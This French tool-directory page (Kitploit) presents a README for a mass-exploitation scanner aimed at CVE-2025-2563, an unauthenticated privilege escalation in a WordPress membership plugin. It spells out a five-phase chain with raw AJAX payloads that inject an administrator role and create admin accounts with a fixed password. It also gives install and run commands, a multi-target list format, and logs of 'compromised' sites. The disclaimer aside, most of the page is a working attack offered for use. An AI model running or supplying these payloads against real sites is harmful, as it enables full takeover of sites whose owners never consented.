Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2563 — Le plugin WordPress User Registration & Membership avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le Membership Addon est activé, ce qui entraîne un problème d'escalade de privilèges et permet aux utilisateurs non authentifiés d'obtenir des privilèges d'administrateur. | Kitploit
Outils/GitHubGitHub/nxploited/cve-2025-2563
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Le plugin WordPress User Registration & Membership avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le Membership Addon est activé, ce qui entraîne un problème d'escalade de privilèges et permet aux utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.

GitHub
nxploited/cve-2025-2563

CVE-2025-2563

Voir le dépôt
12il y a 4 moisPas encore vérifié
Partager

CVE-2025-2563

Le plugin User Registration & Membership pour WordPress avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le module complémentaire Membership est activé, ce qui entraîne un problème d'escalade de privilèges et permet à des utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.

Typing SVG


🔴 Aperçu de la vulnérabilité

CVE-2025-2563 — Élévation de privilèges non authentifiée via l'injection de rôle du module complémentaire Membership

Description :
Le plugin User Registration & Membership pour WordPress dans les versions antérieures à 4.1.2 n'applique pas les restrictions de rôle côté serveur lorsque le module complémentaire Membership est activé. Lors du processus d'inscription au membership, le plugin accepte un champ role fourni par l'utilisateur dans l'action AJAX user_registration_membership_register_member sans le valider par rapport à une liste autorisée côté serveur. Un attaquant distant complètement non authentifié peut soumettre une chaîne AJAX en deux étapes — d'abord en enregistrant un nouveau compte utilisateur via user_registration_user_form_submit, puis en injectant "role": "administrator" dans la charge utile members_data de l'appel d'adhésion — pour créer silencieusement un compte Administrateur WordPress disposant de tous les privilèges. Cela entraîne une compromission complète du site sans aucune authentification ni interaction de l'utilisateur.


🛠️ Description de l'outil

Il s'agit d'un scanner d'exploitation de masse de type Proof-of-Concept (PoC) ciblant les installations WordPress exécutant une version vulnérable du plugin User Registration & Membership avec le module complémentaire Membership actif. L'outil effectue une exploitation intelligente en plusieurs étapes avec découverte automatique, collecte de nonces, enregistrement par combinaison, injection de rôle et vérification d'administration.

🔗 Chaîne d'attaque complète

root@kitploit:~
[Phase 1 — Découverte]
  GET /membership-pricing/        →  Extraire membership_id, liens de tarification
  GET /membership-registration/   →  Extraire form_id, nonces, jetons de sécurité
  GET /registration/              →  Page d'inscription de repli

          ↓

[Phase 2 — Extraction des nonces]
  Parse : ur_membership_frontend_localized_data._nonce
  Parse : ur_frontend_form_nonce, security, form_id, membership_id

          ↓

[Phase 3 — Enregistrement (Attaque combinatoire)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  form_data=[{user_login, user_email, user_pass, membership_field, ...}]
  security=<token>  |  ur_frontend_form_nonce=<nonce>
  → Essayer toutes les combinaisons valides jusqu'à success=true

          ↓

[Phase 4 — Injection de rôle (CVE-2025-2563)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator","membership":"<id>",...}
  _wpnonce=<membership_js_nonce>
  → Le serveur attribue le rôle administrateur au nouvel utilisateur

          ↓

[Phase 5 — Vérification administrateur]
  POST /wp-login.php              →  Connexion avec les nouveaux identifiants
  GET  /wp-admin/                 →  Vérifier le menu admin / la barre d'admin
  GET  /wp-admin/users.php        →  Confirmer l'accès manage_options
  GET  /wp-admin/plugin-install.php →  Confirmer l'accès plugin-install

          ↓

[Sauvegarde dans Nx_admin.txt]
  Format : [timestamp] https://target.com/wp-login.php user:<u> pass:<p>

📋 Prerequisites

Configuration système requise

  • Python 3.8 ou supérieur
  • Linux / Windows / macOS

Dépendances Python

root@kitploit:~
pip install requests urllib3 rich

Ou via le fichier requirements :

root@kitploit:~
pip install -r requirements.txt

requirements.txt :

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563

# Installer les dépendances
pip install -r requirements.txt

# Lancer l'outil
python3 CVE-2025-2563.py

⚙️ Utilisation

Exécution de base

root@kitploit:~
python3 CVE-2025-2563.py

L'outil utilise une interface terminale interactive entièrement propulsée par Rich.


🗂️ Format de la liste de cibles

Créez un fichier texte brut (par défaut : list.txt) — une cible par ligne :

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com
target4.com

Les cibles sans http:// ou https:// sont automatiquement préfixées par https://.


🖥️ Invites interactives

root@kitploit:~
Fichier de cibles [list.txt] :                    list.txt
Threads [3] :                                5
Délai d'attente HTTP (secondes) [10] :                10
Nombre maximal de tentatives d'enregistrement par cible [20] :  20

Le mot de passe est fixé en interne à Nx_adminSA pour toutes les tentatives d'enregistrement.


🔬 Plongée dans l'exploitation

Étape 1 — Découverte multi-pages

L'outil sonde automatiquement trois pages par cible :


Étape 2 — Extraction des jetons

Les jetons suivants sont extraits du HTML brut et du JavaScript en ligne :


Étape 3 — Enregistrement AJAX (Attaque combinatoire)

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
            {"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>

L'outil itère automatiquement sur toutes les combinaisons découvertes de security, frontend_nonce, form_id et membership_id jusqu'à recevoir une réponse success: true.


Étape 4 — Injection de rôle AJAX (L'appel vulnérable)

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
               "role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}

⚠️ Le serveur accepte le champ role sans aucune liste autorisée — c'est la cause racine de CVE-2025-2563.


📁 Fichiers de sortie

FichierDescription
reg.txtToutes les tentatives d'enregistrement réussies avec les identifiants
Nx_admin.txtToutes les élévations confirmées au rang d'administrateur

✅ Format de sortie

reg.txt :

root@kitploit:~
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA

Nx_admin.txt :

root@kitploit:~
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA

🖥️ Exemple de sortie terminale

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  User Registration Membership Full Chain                         ║
║  Par : Nxploited  |  GitHub : github.com/Nxploited  |  @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝

[ANALYSE]       https://target.com
[EXPLOITATION]  https://target.com  |  nonce + enregistrement OK
[EXPLOITÉ]      https://target.com  |  mot de passe : Nx_adminSA

┌──────────────────────────────────────────────────────────────────────────┐
│ Cible                │ Statut                        │ Mot de passe / Note│
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com   │ ✅ COMPROMIS (exploité)       │ password: Nx_adminSA│
│ https://target2.com  │ VULNÉRABLE (nonce exposé)     │                    │
│ https://target3.com  │ MORT (erreur de connexion)    │                    │
└──────────────────────────────────────────────────────────────────────────┘

Journal d'enregistrement :   reg.txt
Journal d'exploitation (admin) : Nx_admin.txt

📊 Référence des codes de statut


📡 Contact et auteur

Par : Nxploited (Khaled Alenazi)

 


⚠️ Avis de non-responsabilité légal

CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.

L'auteur, Nxploited (Khaled Alenazi), et tous les contributeurs de ce projet n'encouragent, ne soutiennent et n'assument aucune responsabilité quant à l'utilisation abusive de cet outil ou à tout dommage causé par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.

  • ✅ Autorisé : Utilisation sur les systèmes que vous possédez ou pour lesquels vous avez obtenu une autorisation écrite explicite de tester.
  • ❌ Interdit : Utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.

L'accès non autorisé aux systèmes informatiques est illégal et punissable en vertu des lois applicables, notamment le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et la législation équivalente dans le monde entier.

En utilisant cet outil, vous acceptez l'entière et unique responsabilité de vos actions et confirmez que vous avez l'autorité légale de tester les systèmes ciblés.

L'auteur décline toute responsabilité pour tout dommage direct, indirect, accessoire ou consécutif découlant de l'utilisation ou de l'utilisation abusive de ce logiciel.


© 2025 Nxploited (Khaled Alenazi) — Pour des recherches de sécurité autorisées uniquement.

Télécharger l’outil
ChampDétails
Identifiant CVECVE-2025-2563
SévéritéHAUTE — Score CVSS v3.1 : 8.1
VecteurCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
Logiciel concernéPlugin User Registration & Membership pour WordPress
Versions concernéesToutes les versions antérieures à 4.1.2
Type de vulnérabilitéGestion incorrecte des privilèges — Création non authentifiée de compte administrateur
Authentification requiseAucune
CWECWE-269 : Gestion incorrecte des privilèges
Page
Objectif
/membership-pricing/Extraire membership_id et les liens d'inscription
/membership-registration/Extraire les jetons de formulaire, nonces et identifiants de champs
/membership-registration/?membership_id=<id>Extraction du formulaire spécifique au plan
/registration/Page d'inscription générique de repli
JetonSource
_nonceObjet JS ur_membership_frontend_localized_data
ur_frontend_form_nonceChamp d'entrée caché ou objet JS
securityuser_registration_params.user_registration_form_data_save
form_idEntrée cachée ur-user-form-id ou objet JS
membership_idEntrée radio urm_membership ou chaîne de requête URL
StatutCouleurSignification
COMPROMIS (exploité)🟢 VertSuccès de la chaîne complète — connexion admin vérifiée
COMPROMIS (exploit ok, admin non vérifié)🟡 JauneInjection de rôle réussie mais vérification panneau admin non concluante
VULNÉRABLE (nonce exposé, enregistrement échoué)🟡 JauneNonce d'adhésion trouvé mais AJAX d'enregistrement échoué
VULNÉRABLE (nonce exposé, exploitation en attente)🟡 JauneNonce trouvé mais exploitation impossible à terminer
EXPLOITATION🟡 JauneExploitation en cours
ENREGISTRÉ (pas de nonce d'adhésion)🟡 JauneEnregistrement réussi mais nonce non extractible
PAS D'ENREGISTREMENT (toutes tentatives échouées)⚫ FoncéToutes les combinaisons security/nonce/form_id épuisées
PAS D'ENREGISTREMENT (nombre max de tentatives atteint)⚫ FoncéLimite configurée de tentatives atteinte
MORT (aucune page d'adhésion/inscription)⚫ FoncéPlugin non détecté sur la cible
ÉCHEC DE L'EXPLOITATION (erreur de requête)🔴 RougeErreur réseau lors de l'appel d'injection de rôle
ÉCHEC DE L'EXPLOITATION (success=false)🔴 RougeLe serveur a renvoyé success: false sur l'injection de rôle
DÉPASSEMENT DE DÉLAI⚫ FoncéDélai d'attente HTTP
MORT (erreur de connexion)⚫ FoncéConnexion refusée / inaccessible
ERREUR🔴 RougeException inattendue